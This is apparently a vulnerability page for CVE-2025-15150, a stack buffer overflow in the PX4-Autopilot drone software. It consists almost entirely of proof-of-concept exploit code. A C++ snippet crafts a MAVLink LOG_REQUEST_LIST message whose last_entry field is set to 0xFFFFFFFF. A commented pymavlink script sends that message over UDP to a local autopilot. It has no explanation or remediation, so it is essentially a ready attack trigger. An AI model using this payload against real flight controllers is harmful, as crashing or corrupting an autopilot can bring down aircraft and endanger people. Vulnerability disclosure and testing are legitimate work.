CVE-2025-15150: PX4 PX4-Autopilot栈缓冲区溢出漏洞

// CVE-2025-15150 PoC - Mavlink Stack Buffer Overflow // This PoC demonstrates sending malicious Mavlink message to trigger overflow #include <cstdint> #include <cstring> // Mavlink message structure struct mavlink_message { uint16_t msgid; uint8_t payload[256]; }; // LOG_REQUEST_LIST message payload structure struct log_request_list_t { uint32_t target_system; // Target system ID uint32_t target_component; // Target component ID uint32_t first_entry; // First log entry to request uint32_t last_entry; // Last log entry to request }; void trigger_overflow() { mavlink_message msg; msg.msgid = 117; // MAVLINK_MSG_ID_LOG_REQUEST_LIST log_request_list_t *payload = (log_request_list_t *)msg.payload; payload->target_system = 1; payload->target_component = 1; payload->first_entry = 0; payload->last_entry = 0xFFFFFFFF; // Malicious: Large value to trigger overflow // Send this message to vulnerable MavlinkLogHandler // send_mavlink_message(msg); } // Alternative: Python PoC using pymavlink /* from pymavlink import mavutil connection = mavutil.mavlink_connection('udp://localhost:14540') # Craft malicious LOG_REQUEST_LIST message # This triggers buffer overflow in state_listing/log_entry_from_id msg = connection.mav.log_request_list_encode( target_system=1, target_component=1, first_entry=0, last_entry=0xFFFFFFFF # Overflow trigger ) connection.mav.send(msg) */